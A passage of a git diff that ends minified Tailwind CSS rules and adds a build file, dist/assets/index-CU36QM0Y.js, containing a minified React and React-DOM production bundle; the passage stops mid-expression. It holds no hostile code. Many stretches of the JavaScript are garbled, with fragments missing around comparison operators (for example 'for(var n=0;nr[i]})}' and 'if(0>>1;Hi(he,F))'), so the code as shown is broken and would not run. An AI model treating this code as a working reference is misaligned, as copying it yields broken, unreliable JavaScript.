768px){.md\:h-36{height:9rem}.md\:w-36{width:9rem}.md\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.md\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}.md\:text-4xl{font-size:2.25rem;line-height:2.5rem}.md\:text-5xl{font-size:3rem;line-height:1}.md\:text-6xl{font-size:3.75rem;line-height:1}.md\:text-7xl{font-size:4.5rem;line-height:1}.md\:text-xl{font-size:1.25rem;line-height:1.75rem}}@media (min-width: 1024px){.lg\:sticky{position:sticky}.lg\:top-6{top:1.5rem}.lg\:col-span-2{grid-column:span 2 / span 2}.lg\:col-span-3{grid-column:span 3 / span 3}.lg\:col-span-5{grid-column:span 5 / span 5}.lg\:col-span-7{grid-column:span 7 / span 7}.lg\:block{display:block}.lg\:grid-cols-2{grid-template-columns:repeat(2,minmax(0,1fr))}.lg\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.lg\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}.lg\:grid-cols-\[1fr_380px\]{grid-template-columns:1fr 380px}.lg\:pt-2{padding-top:.5rem}.lg\:text-8xl{font-size:6rem;line-height:1}}@media (min-width: 1280px){.xl\:col-span-4{grid-column:span 4 / span 4}.xl\:col-span-8{grid-column:span 8 / span 8}.xl\:block{display:block}.xl\:grid-cols-3{grid-template-columns:repeat(3,minmax(0,1fr))}.xl\:grid-cols-5{grid-template-columns:repeat(5,minmax(0,1fr))}}@media (min-width: 1536px){.\32xl\:grid-cols-4{grid-template-columns:repeat(4,minmax(0,1fr))}}.\[\&\:\:-moz-range-thumb\]\:h-3::-moz-range-thumb{height:.75rem}.\[\&\:\:-moz-range-thumb\]\:w-3::-moz-range-thumb{width:.75rem}.\[\&\:\:-moz-range-thumb\]\:cursor-pointer::-moz-range-thumb{cursor:pointer}.\[\&\:\:-moz-range-thumb\]\:border-0::-moz-range-thumb{border-width:0px}.\[\&\:\:-moz-range-thumb\]\:bg-zerin-accent::-moz-range-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))}.\[\&\:\:-webkit-inner-spin-button\]\:appearance-none::-webkit-inner-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-outer-spin-button\]\:appearance-none::-webkit-outer-spin-button{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:h-3::-webkit-slider-thumb{height:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:w-3::-webkit-slider-thumb{width:.75rem}.\[\&\:\:-webkit-slider-thumb\]\:cursor-pointer::-webkit-slider-thumb{cursor:pointer}.\[\&\:\:-webkit-slider-thumb\]\:appearance-none::-webkit-slider-thumb{-webkit-appearance:none;-moz-appearance:none;appearance:none}.\[\&\:\:-webkit-slider-thumb\]\:bg-zerin-accent::-webkit-slider-thumb{--tw-bg-opacity: 1;background-color:rgb(6 182 212 / var(--tw-bg-opacity, 1))} diff --git a/dist/assets/index-CU36QM0Y.js b/dist/assets/index-CU36QM0Y.js new file mode 100755 index 0000000..2dcd6b3 --- /dev/null +++ b/dist/assets/index-CU36QM0Y.js @@ -0,0 +1,430 @@ +var F3=Object.defineProperty;var W3=(e,t,n)=>t in e?F3(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n;var pf=(e,t,n)=>W3(e,typeof t!="symbol"?t+"":t,n);function U3(e,t){for(var n=0;nr[i]})}}}return Object.freeze(Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}))}(function(){const t=document.createElement("link").relList;if(t&&t.supports&&t.supports("modulepreload"))return;for(const i of document.querySelectorAll('link[rel="modulepreload"]'))r(i);new MutationObserver(i=>{for(const a of i)if(a.type==="childList")for(const o of a.addedNodes)o.tagName==="LINK"&&o.rel==="modulepreload"&&r(o)}).observe(document,{childList:!0,subtree:!0});function n(i){const a={};return i.integrity&&(a.integrity=i.integrity),i.referrerPolicy&&(a.referrerPolicy=i.referrerPolicy),i.crossOrigin==="use-credentials"?a.credentials="include":i.crossOrigin==="anonymous"?a.credentials="omit":a.credentials="same-origin",a}function r(i){if(i.ep)return;i.ep=!0;const a=n(i);fetch(i.href,a)}})();function Cr(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var E2={exports:{}},Mu={},A2={exports:{}},ye={};/** + * @license React + * react.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var $o=Symbol.for("react.element"),V3=Symbol.for("react.portal"),H3=Symbol.for("react.fragment"),K3=Symbol.for("react.strict_mode"),q3=Symbol.for("react.profiler"),Y3=Symbol.for("react.provider"),G3=Symbol.for("react.context"),X3=Symbol.for("react.forward_ref"),Z3=Symbol.for("react.suspense"),Q3=Symbol.for("react.memo"),J3=Symbol.for("react.lazy"),uv=Symbol.iterator;function ez(e){return e===null||typeof e!="object"?null:(e=uv&&e[uv]||e["@@iterator"],typeof e=="function"?e:null)}var _2={isMounted:function(){return!1},enqueueForceUpdate:function(){},enqueueReplaceState:function(){},enqueueSetState:function(){}},O2=Object.assign,T2={};function Ja(e,t,n){this.props=e,this.context=t,this.refs=T2,this.updater=n||_2}Ja.prototype.isReactComponent={};Ja.prototype.setState=function(e,t){if(typeof e!="object"&&typeof e!="function"&&e!=null)throw Error("setState(...): takes an object of state variables to update or a function which returns an object of state variables.");this.updater.enqueueSetState(this,e,t,"setState")};Ja.prototype.forceUpdate=function(e){this.updater.enqueueForceUpdate(this,e,"forceUpdate")};function M2(){}M2.prototype=Ja.prototype;function ph(e,t,n){this.props=e,this.context=t,this.refs=T2,this.updater=n||_2}var mh=ph.prototype=new M2;mh.constructor=ph;O2(mh,Ja.prototype);mh.isPureReactComponent=!0;var dv=Array.isArray,L2=Object.prototype.hasOwnProperty,hh={current:null},I2={key:!0,ref:!0,__self:!0,__source:!0};function D2(e,t,n){var r,i={},a=null,o=null;if(t!=null)for(r in t.ref!==void 0&&(o=t.ref),t.key!==void 0&&(a=""+t.key),t)L2.call(t,r)&&!I2.hasOwnProperty(r)&&(i[r]=t[r]);var l=arguments.length-2;if(l===1)i.children=n;else if(1>>1,G=B[H];if(0>>1;Hi(he,F))pei(Y,he)?(B[H]=Y,B[pe]=F,H=pe):(B[H]=he,B[oe]=F,H=oe);else if(pei(Y,F))B[H]=Y,B[pe]=F,H=pe;else break e}}return U}function i(B,U){var F=B.sortIndex-U.sortIndex;return F!==0?F:B.id-U.id}if(typeof performance=="object"&&typeof performance.now=="function"){var a=performance;e.unstable_now=function(){return a.now()}}else{var o=Date,l=o.now();e.unstable_now=function(){return o.now()-l}}var c=[],u=[],d=1,f=null,m=3,h=!1,x=!1,g=!1,y=typeof setTimeout=="function"?setTimeout:null,v=typeof clearTimeout=="function"?clearTimeout:null,b=typeof setImmediate<"u"?setImmediate:null;typeof navigator<"u"&&navigator.scheduling!==void 0&&navigator.scheduling.isInputPending!==void 0&&navigator.scheduling.isInputPending.bind(navigator.scheduling);function w(B){for(var U=n(u);U!==null;){if(U.callback===null)r(u);else if(U.startTime<=B)r(u),U.sortIndex=U.expirationTime,t(c,U);else break;U=n(u)}}function j(B){if(g=!1,w(B),!x)if(n(c)!==null)x=!0,L(k);else{var U=n(u);U!==null&&W(j,U.startTime-B)}}function k(B,U){x=!1,g&&(g=!1,v(z),z=-1),h=!0;var F=m;try{for(w(U),f=n(c);f!==null&&(!(f.expirationTime>U)||B&&!T());){var H=f.callback;if(typeof H=="function"){f.callback=null,m=f.priorityLevel;var G=H(f.expirationTime<=U);U=e.unstable_now(),typeof G=="function"?f.callback=G:f===n(c)&&r(c),w(U)}else r(c);f=n(c)}if(f!==null)var re=!0;else{var oe=n(u);oe!==null&&W(j,oe.startTime-U),re=!1}return re}finally{f=null,m=F,h=!1}}var S=!1,N=null,z=-1,O=5,_=-1;function T(){return!(e.unstable_now()-_B||125H?(B.sortIndex=F,t(u,B),n(c)===null&&B===n(u)&&(g?(v(z),z=-1):g=!0,W(j,F-H))):(B.sortIndex=G,t(c,B),x||h||(x=!0,L(k))),B},e.unstable_shouldYield=T,e.unstable_wrapCallback=function(B){var U=m;return function(){var F=m;m=U;try{return B.apply(this,arguments)}finally{m=F}}}})(U2);W2.exports=U2;var dz=W2.exports;/** + * @license React + * react-dom.production.min.js + * + * Copyright (c) Facebook, Inc. and its affiliates. + * + * This source code is licensed under the MIT license found in the + * LICENSE file in the root directory of this source tree. + */var fz=p,an=dz;function Z(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;n"u"||typeof window.document>"u"||typeof window.document.createElement>"u"),wp=Object.prototype.hasOwnProperty,pz=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD\-.0-9\u00B7\u0300-\u036F\u203F-\u2040]*$/,pv={},mv={};function mz(e){return wp.call(mv,e)?!0:wp.call(pv,e)?!1:pz.test(e)?mv[e]=!0:(pv[e]=!0,!1)}function hz(e,t,n,r){if(n!==null&&n.type===0)return!1;switch(typeof t){case"function":case"symbol":return!0;case"boolean":return r?!1:n!==null?!n.acceptsBooleans:(e=e.toLowerCase().slice(0,5),e!=="data-"&&e!=="aria-");default:return!1}}function xz(e,t,n,r){if(t===null||typeof t>"u"||hz(e,t,n,r))return!0;if(r)return!1;if(n!==null)switch(n.type){case 3:return!t;case 4:return t===!1;case 5:return isNaN(t);case 6:return isNaN(t)||1>t}return!1}function Dt(e,t,n,r,i,a,o){this.acceptsBooleans=t===2||t===3||t===4,this.attributeName=r,this.attributeNamespace=i,this.mustUseProperty=n,this.propertyName=e,this.type=t,this.sanitizeURL=a,this.removeEmptyString=o}var Nt={};"children dangerouslySetInnerHTML defaultValue defaultChecked innerHTML suppressContentEditableWarning suppressHydrationWarning style".split(" ").forEach(function(e){Nt[e]=new Dt(e,0,!1,e,null,!1,!1)});[["acceptCharset","accept-charset"],["className","class"],["htmlFor","for"],["httpEquiv","http-equiv"]].forEach(function(e){var t=e[0];Nt[t]=new Dt(t,1,!1,e[1],null,!1,!1)});["contentEditable","draggable","spellCheck","value"].forEach(function(e){Nt[e]=new Dt(e,2,!1,e.toLowerCase(),null,!1,!1)});["autoReverse","externalResourcesRequired","focusable","preserveAlpha"].forEach(function(e){Nt[e]=new Dt(e,2,!1,e,null,!1,!1)});"allowFullScreen async autoFocus autoPlay controls default defer disabled disablePictureInPicture disableRemotePlayback formNoValidate hidden loop noModule noValidate open playsInline readOnly required reversed scoped seamless itemScope".split(" ").forEach(function(e){Nt[e]=new Dt(e,3,!1,e.toLowerCase(),null,!1,!1)});["checked","multiple","muted","selected"].forEach(function(e){Nt[e]=new Dt(e,3,!0,e,null,!1,!1)});["capture","download"].forEach(function(e){Nt[e]=new Dt(e,4,!1,e,null,!1,!1)});["cols","rows","size","span"].forEach(function(e){Nt[e]=new Dt(e,6,!1,e,null,!1,!1)});["rowSpan","start"].forEach(function(e){Nt[e]=new Dt(e,5,!1,e.toLowerCase(),null,!1,!1)});var gh=/[\-:]([a-z])/g;function yh(e){return e[1].toUpperCase()}"accent-height alignment-baseline arabic-form baseline-shift cap-height clip-path clip-rule color-interpolation color-interpolation-filters color-profile color-rendering dominant-baseline enable-background fill-opacity fill-rule flood-color flood-opacity font-family font-size font-size-adjust font-stretch font-style font-variant font-weight glyph-name glyph-orientation-horizontal glyph-orientation-vertical horiz-adv-x horiz-origin-x image-rendering letter-spacing lighting-color marker-end marker-mid marker-start overline-position overline-thickness paint-order panose-1 pointer-events rendering-intent shape-rendering stop-color stop-opacity strikethrough-position strikethrough-thickness stroke-dasharray stroke-dashoffset stroke-linecap stroke-linejoin stroke-miterlimit stroke-opacity stroke-width text-anchor text-decoration text-rendering underline-position underline-thickness unicode-bidi unicode-range units-per-em v-alphabetic v-hanging v-ideographic v-mathematical vector-effect vert-adv-y vert-origin-x vert-origin-y word-spacing writing-mode xmlns:xlink x-height".split(" ").forEach(function(e){var t=e.replace(gh,yh);Nt[t]=new Dt(t,1,!1,e,null,!1,!1)});"xlink:actuate xlink:arcrole xlink:role xlink:show xlink:title xlink:type".split(" ").forEach(function(e){var t=e.replace(gh,yh);Nt[t]=new Dt(t,1,!1,e,"http://www.w3.org/1999/xlink",!1,!1)});["xml:base","xml:lang","xml:space"].forEach(function(e){var t=e.replace(gh,yh);Nt[t]=new Dt(t,1,!1,e,"http://www.w3.org/XML/1998/namespace",!1,!1)});["tabIndex","crossOrigin"].forEach(function(e){Nt[e]=new Dt(e,1,!1,e.toLowerCase(),null,!1,!1)});Nt.xlinkHref=new Dt("xlinkHref",1,!1,"xlink:href","http://www.w3.org/1999/xlink",!0,!1);["src","href","action","formAction"].forEach(function(e){Nt[e]=new Dt(e,1,!1,e.toLowerCase(),null,!0,!0)});function bh(e,t,n,r){var i=Nt.hasOwnProperty(t)?Nt[t]:null;(i!==null?i.type!==0:r||!(2l||i[o]!==a[l]){var c=` +`+i[o].replace(" at new "," at ");return e.displayName&&c.includes("")&&(c=c.replace("",e.displayName)),c}while(1<=o&&0<=l);break}}}finally{xf=!1,Error.prepareStackTrace=n}return(e=e?e.displayName||e.name:"")?Rs(e):""}function vz(e){switch(e.tag){case 5:return Rs(e.type);case 16:return Rs("Lazy");case 13:return Rs("Suspense");case 19:return Rs("SuspenseList");case 0:case 2:case 15:return e=vf(e.type,!1),e;case 11:return e=vf(e.type.render,!1),e;case 1:return e=vf(e.type,!0),e;default:return""}}function Sp(e){if(e==null)return null;if(typeof e=="function")return e.displayName||e.name||null;if(typeof e=="string")return e;switch(e){case ha:return"Fragment";case ma:return"Portal";case jp:return"Profiler";case wh:return"StrictMode";case kp:return"Suspense";case Np:return"SuspenseList"}if(typeof e=="object")switch(e.$$typeof){case K2:return(e.displayName||"Context")+".Consumer";case H2:return(e._context.displayName||"Context")+".Provider";case jh:var t=e.render;return e=e.displayName,e||(e=t.displayName||t.name||"",e=e!==""?"ForwardRef("+e+")":"ForwardRef"),e;case kh:return t=e.displayName||null,t!==null?t:Sp(e.type)||"Memo";case Br:t=e._payload,e=e._init;try{return Sp(e(t))}catch{}}return null}function gz(e){var t=e.type;switch(e.tag){case 24:return"Cache";case 9:return(t.displayName||"Context")+".Consumer";case 10:return(t._context.displayName||"Context")+".Provider";case 18:return"DehydratedFragment";case 11:return e=t.render,e=e.displayName||e.name||"",t.displayName||(e!==""?"ForwardRef("+e+")":"ForwardRef");case 7:return"Fragment";case 5:return t;case 4:return"Portal";case 3:return"Root";case 6:return"Text";case 16:return Sp(t);case 8:return t===wh?"StrictMode":"Mode";case 22:return"Offscreen";case 12:return"Profiler";case 21:return"Scope";case 13:return"Suspense";case 19:return"SuspenseList";case 25:return"TracingMarker";case 1:case 0:case 17:case 2:case 14:case 15:if(typeof t=="function")return t.displayName||t.name||null;if(typeof t=="string")return t}return null}function li(e){switch(typeof e){case"boolean":case"number":case"string":case"undefined":return e;case"object":return e;default:return""}}function Y2(e){var t=e.type;return(e=e.nodeName)&&e.toLowerCase()==="input"&&(t==="checkbox"||t==="radio")}function yz(e){var t=Y2(e)?"checked":"value",n=Object.getOwnPropertyDescriptor(e.constructor.prototype,t),r=""+e[t];if(!e.hasOwnProperty(t)&&typeof n<"u"&&typeof n.get=="function"&&typeof n.set=="function"){var i=n.get,a=n.set;return Object.defineProperty(e,t,{configurable:!0,get:function(){return i.call(this)},set:function(o){r=""+o,a.call(this,o)}}),Object.defineProperty(e,t,{enumerable:n.enumerable}),{getValue:function(){return r},setValue:function(o){r=""+o},stopTracking:function(){e._valueTracker=null,delete e[t]}}}}function fl(e){e._valueTracker||(e._valueTracker=yz(e))}function G2(e){if(!e)return!1;var t=e._valueTracker;if(!t)return!0;var n=t.getValue(),r="";return e&&(r=Y2(e)?e.checked?"true":"false":e.value),e=r,e!==n?(t.setValue(e),!0):!1}function mc(e){if(e=e||(typeof document<"u"?document:void 0),typeof e>"u")return null;try{return e.activeElement||e.body}catch{return e.body}}function zp(e,t){var n=t.checked;return Ke({},t,{defaultChecked:void 0,defaultValue:void 0,value:void 0,checked:n??e._wrapperState.initialChecked})}function xv(e,t){var n=t.defaultValue==null?"":t.defaultValue,r=t.checked!=null?t.checked:t.defaultChecked;n=li(t.value!=null?t.value:n),e._wrapperState={initialChecked:r,initialValue:n,controlled:t.type==="checkbox"||t.type==="radio"?t.checked!=null:t.value!=null}}function X2(e,t){t=t.checked,t!=null&&bh(e,"checked",t,!1)}function Cp(e,t){X2(e,t);var n=li(t.value),r=t.type;if(n!=null)r==="number"?(n===0&&e.value===""||e.value!=n)&&(e.value=""+n):e.value!==""+n&&(e.value=""+n);else if(r==="submit"||r==="reset"){e.removeAttribute("value");return}t.hasOwnProperty("value")?Pp(e,t.type,n):t.hasOwnProperty("defaultValue")&&Pp(e,t.type,li(t.defaultValue)),t.checked==null&&t.defaultChecked!=null&&(e.defaultChecked=!!t.defaultChecked)}function vv(e,t,n){if(t.hasOwnProperty("value")||t.hasOwnProperty("defaultValue")){var r=t.type;if(!(r!=="submit"&&r!=="reset"||t.value!==void 0&&t.value!==null))return;t=""+e._wrapperState.initialValue,n||t===e.value||(e.value=t),e.defaultValue=t}n=e.name,n!==""&&(e.name=""),e.defaultChecked=!!e._wrapperState.initialChecked,n!==""&&(e.name=n)}function Pp(e,t,n){(t!=="number"||mc(e.ownerDocument)!==e)&&(n==null?e.defaultValue=""+e._wrapperState.initialValue:e.defaultValue!==""+n&&(e.defaultValue=""+n))}var $s=Array.isArray;function Ea(e,t,n,r){if(e=e.options,t){t={};for(var i=0;i"+t.valueOf().toString()+"",t=pl.firstChild;e.firstChild;)e.removeChild(e.firstChild);for(;t.firstChild;)e.appendChild(t.firstChild)}});function to(e,t){if(t){var n=e.firstChild;if(n&&n===e.lastChild&&n.nodeType===3){n.nodeValue=t;return}}e.textContent=t}var Hs={animationIterationCount:!0,aspectRatio:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridArea:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},bz=["Webkit","ms","Moz","O"];Object.keys(Hs).forEach(function(e){bz.forEach(function(t){t=t+e.charAt(0).toUpperCase()+e.substring(1),Hs[t]=Hs[e]})});function ew(e,t,n){return t==null||typeof t=="boolean"||t===""?"":n||typeof t!="number"||t===0||Hs.hasOwnProperty(e)&&Hs[e]?(""+t).trim():t+"px"}function tw(e,t){e=e.style;for(var n in t)if(t.hasOwnProperty(n)){var r=n.indexOf("--")===0,i=ew(n,t[n],r);n==="float"&&(n="cssFloat"),r?e.setProperty(n,i):e[n]=i}}var wz=Ke({menuitem:!0},{area:!0,base:!0,br:!0,col:!0,embed:!0,hr:!0,img:!0,input:!0,keygen:!0,link:!0,meta:!0,param:!0,source:!0,track:!0,wbr:!0});function _p(e,t){if(t){if(wz[e]&&(t.children!=null||t.dangerouslySetInnerHTML!=null))throw Error(Z(137,e));if(t.dangerouslySetInnerHTML!=null){if(t.children!=null)throw Error(Z(60));if(typeof t.dangerouslySetInnerHTML!="object"||!("__html"in t.dangerouslySetInnerHTML))throw Error(Z(61))}if(t.style!=null&&typeof t.style!="object")throw Error(Z(62))}}function Op(e,t){if(e.indexOf("-")===-1)return typeof t.is=="string";switch(e){case"annotation-xml":case"color-profile":case"font-face":case"font-face-src":case"font-face-uri":case"font-face-format":case"font-face-name":case"missing-glyph":return!1;default:return!0}}var Tp=null;function Nh(e){return e=e.target||e.srcElement||window,e.correspondingUseElement&&(e=e.correspondingUseElement),e.nodeType===3?e.parentNode:e}var Mp=null,Aa=null,_a=null;function bv(e){if(e=Wo(e)){if(typeof Mp!="function")throw Error(Z(280));var t=e.stateNode;t&&(t=$u(t),Mp(e.stateNode,e.type,t))}}function nw(e){Aa?_a?_a.push(e):_a=[e]:Aa=e}function rw(){if(Aa){var e=Aa,t=_a;if(_a=Aa=null,bv(e),t)for(e=0;e>>=0,e===0?32:31-(Oz(e)/Tz|0)|0}var ml=64,hl=4194304;function Bs(e){switch(e&-e){case 1:return 1;case 2:return 2;case 4:return 4;case 8:return 8;case 16:return 16;case 32:return 32;case 64:case 128:case 256:case 512:case 1024:case 2048:case 4096:case 8192:case 16384:case 32768:case 65536:case 131072:case 262144:case 524288:case 1048576:case 2097152:return e&4194240;case 4194304:case 8388608:case 16777216:case 33554432:case 67108864:return e&130023424;case 134217728:return 134217728;case 268435456:return 268435456;case 536870912:return 536870912;case 1073741824:return 1073741824;default:return e}}function gc(e,t){var n=e.pendingLanes;if(n===0)return 0;var r=0,i=e.suspendedLanes,a=e.pingedLanes,o=n&268435455;if(o!==0){var l=o&~i;l!==0?r=Bs(l):(a&=o,a!==0&&(r=Bs(a)))}else o=n&~i,o!==0?r=Bs(o):a!==0&&(r=Bs(a));if(r===0)return 0;if(t!==0&&t!==r&&!(t&i)&&(i=r&-r,a=t&-t,i>=a||i===16&&(a&4194240)!==0))return t;if(r&4&&(r|=n&16),t=e.entangledLanes,t!==0)for(e=e.entanglements,t&=r;0n;n++)t.push(e);return t}function Bo(e,t,n){e.pendingLanes|=t,t!==536870912&&(e.suspendedLanes=0,e.pingedLanes=0),e=e.eventTimes,t=31-Mn(t),e[t]=n}function Dz(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0=qs),Ev=" ",Av=!1;function kw(e,t){switch(e){case"keyup":return dC.indexOf(t.keyCode)!==-1;case"keydown":return t.keyCode!==229;case"keypress":case"mousedown":case"focusout":return!0;default:return!1}}function Nw(e){return e=e.detail,typeof e=="object"&&"data"in e?e.data:null}var xa=!1;function pC(e,t){switch(e){case"compositionend":return Nw(t);case"keypress":return t.which!==32?null:(Av=!0,Ev);case"textInput":return e=t.data,e===Ev&&Av?null:e;default:return null}}function mC(e,t){if(xa)return e==="compositionend"||!Oh&&kw(e,t)?(e=ww(),Ql=Eh=Kr=null,xa=!1,e):null;switch(e){case"paste":return null;case"keypress":if(!(t.ctrlKey||t.altKey||t.metaKey)||t.ctrlKey&&t.altKey){if(t.char&&1=t)return{node:n,offset:t-e};e=r}e:{for(;n;){if(n.nextSibling){n=n.nextSibling;break e}n=n.parentNode}n=void 0}n=Mv(n)}}function Pw(e,t){return e&&t?e===t?!0:e&&e.nodeType===3?!1:t&&t.nodeType===3?Pw(e,t.parentNode):"contains"in e?e.contains(t):e.compareDocumentPosition?!!(e.compareDocumentPosition(t)&16):!1:!1}function Ew(){for(var e=window,t=mc();t instanceof e.HTMLIFrameElement;){try{var n=typeof t.contentWindow.location.href=="string"}catch{n=!1}if(n)e=t.contentWindow;else break;t=mc(e.document)}return t}function Th(e){var t=e&&e.nodeName&&e.nodeName.toLowerCase();return t&&(t==="input"&&(e.type==="text"||e.type==="search"||e.type==="tel"||e.type==="url"||e.type==="password")||t==="textarea"||e.contentEditable==="true")}function kC(e){var t=Ew(),n=e.focusedElem,r=e.selectionRange;if(t!==n&&n&&n.ownerDocument&&Pw(n.ownerDocument.documentElement,n)){if(r!==null&&Th(n)){if(t=r.start,e=r.end,e===void 0&&(e=t),"selectionStart"in n)n.selectionStart=t,n.selectionEnd=Math.min(e,n.value.length);else if(e=(t=n.ownerDocument||document)&&t.defaultView||window,e.getSelection){e=e.getSelection();var i=n.textContent.length,a=Math.min(r.start,i);r=r.end===void 0?a:Math.min(r.end,i),!e.extend&&a>r&&(i=r,r=a,a=i),i=Lv(n,a);var o=Lv(n,r);i&&o&&(e.rangeCount!==1||e.anchorNode!==i.node||e.anchorOffset!==i.offset||e.focusNode!==o.node||e.focusOffset!==o.offset)&&(t=t.createRange(),t.setStart(i.node,i.offset),e.removeAllRanges(),a>r?(e.addRange(t),e.extend(o.node,o.offset)):(t.setEnd(o.node,o.offset),e.addRange(t)))}}for(t=[],e=n;e=e.parentNode;)e.nodeType===1&&t.push({element:e,left:e.scrollLeft,top:e.scrollTop});for(typeof n.focus=="function"&&n.focus(),n=0;n=document.documentMode,va=null,Bp=null,Gs=null,Fp=!1;function Iv(e,t,n){var r=n.window===n?n.document:n.nodeType===9?n:n.ownerDocument;Fp||va==null||va!==mc(r)||(r=va,"selectionStart"in r&&Th(r)?r={start:r.selectionStart,end:r.selectionEnd}:(r=(r.ownerDocument&&r.ownerDocument.defaultView||window).getSelection(),r={anchorNode:r.anchorNode,anchorOffset:r.anchorOffset,focusNode:r.focusNode,focusOffset:r.focusOffset}),Gs&&oo(Gs,r)||(Gs=r,r=wc(Bp,"onSelect"),0ba||(e.current=qp[ba],qp[ba]=null,ba--)}function Me(e,t){ba++,qp[ba]=e.current,e.current=t}var ci={},Et=mi(ci),Vt=mi(!1),Ui=ci;function $a(e,t){var n=e.type.contextTypes;if(!n)return ci;var r=e.stateNode;if(r&&r.__reactInternalMemoizedUnmaskedChildContext===t)return r.__reactInternalMemoizedMaskedChildContext;var i={},a;for(a in n)i[a]=t[a];return r&&(e=e.stateNode,e.__reactInternalMemoizedUnmaskedChildContext=t,e.__reactInternalMemoizedMaskedChildContext=i),i}function Ht(e){return e=e.childContextTypes,e!=null}function kc(){De(Vt),De(Et)}function Uv(e,t,n){if(Et.current!==ci)throw Error(Z(168));Me(Et,t),Me(Vt,n)}function Rw(e,t,n){var r=e.stateNode;if(t=t.childContextTypes,typeof r.getChildContext!="function")return n;r=r.getChildContext();for(var i in r)if(!(i in t))throw Error(Z(108,gz(e)||"Unknown",i));return Ke({},n,r)}function Nc(e){return e=(e=e.stateNode)&&e.__reactInternalMemoizedMergedChildContext||ci,Ui=Et.current,Me(Et,e),Me(Vt,Vt.current),!0}function Vv(e,t,n){var r=e.stateNode;if(!r)throw Error(Z(169));n?(e=Rw(e,t,Ui),r.__reactInternalMemoizedMergedChildContext=e,De(Vt),De(Et),Me(Et,e)):De(Vt),Me(Vt,n)}var or=null,Bu=!1,_f=!1;function $w(e){or===null?or=[e]:or.push(e)}function LC(e){Bu=!0,$w(e)}function hi(){if(!_f&&or!==null){_f=!0;var e=0,t=Pe;try{var n=or;for(Pe=1;e>=o,i-=o,cr=1<<32-Mn(t)+i|n<z?(O=N,N=null):O=N.sibling;var _=m(v,N,w[z],j);if(_===null){N===null&&(N=O);break}e&&N&&_.alternate===null&&t(v,N),b=a(_,b,z),S===null?k=_:S.sibling=_,S=_,N=O}if(z===w.length)return n(v,N),Be&&Si(v,z),k;if(N===null){for(;zz?(O=N,N=null):O=N.sibling;var T=m(v,N,_.value,j);if(T===null){N===null&&(N=O);break}e&&N&&T.alternate===null&&t(v,N),b=a(T,b,z),S===null?k=T:S.sibling=T,S=T,N=O}if(_.done)return n(v,N),Be&&Si(v,z),k;if(N===null){for(;!_.done;z++,_=w.next())_=f(v,_.value,j),_!==null&&(b=a(_,b,z),S===null?k=_:S.sibling=_,S=_);return Be&&Si(v,z),k}for(N=r(v,N);!_.done;z++,_=w.next())_=h(N,v,z,_.value,j),_!==null&&(e&&_.alternate!==null&&N.delete(_.key===null?z:_.key),b=a(_,b,z),S===null?k=_:S.sibling=_,S=_);return e&&N.forEach(function(P){return t(v,P)}),Be&&Si(v,z),k}function y(v,b,w,j){if(typeof w=="object"&&w!==null&&w.type===ha&&w.key===null&&(w=w.props.children),typeof w=="object"&&w!==null){switch(w.$$typeof){case dl:e:{for(var k=w.key,S=b;S!==null;){if(S.key===k){if(k=w.type,k===ha){if(S.tag===7){n(v,S.sibling),b=i(S,w.props.children),b.return=v,v=b;break e}}else if(S.elementType===k||typeof k=="object"&&k!==null&&k.$$typeof===Br&&qv(k)===S.type){n(v,S.sibling),b=i(S,w.props),b.ref=ks(v,S,w),b.return=v,v=b;break e}n(v,S);break}else t(v,S);S=S.sibling}w.type===ha?(b=Ri(w.props.children,v.mode,j,w.key),b.return=v,v=b):(j=sc(w.type,w.key,w.props,null,v.mode,j),j.ref=ks(v,b,w),j.return=v,v=j)}return o(v);case ma:e:{for(S=w.key;b!==null;){if(b.key===S)if(b.tag===4&&b.stateNode.containerInfo===w.containerInfo&&b.stateNode.implementation===w.implementation){n(v,b.sibling),b=i(b,w.children||[]),b.return=v,v=b;break e}else{n(v,b);break}else t(v,b);b=b.sibling}b=$f(w,v.mode,j),b.return=v,v=b}return o(v);case Br:return S=w._init,y(v,b,S(w._payload),j)}if($s(w))return x(v,b,w,j);if(gs(w))return g(v,b,w,j);jl(v,w)}return typeof w=="string"&&w!==""||typeof 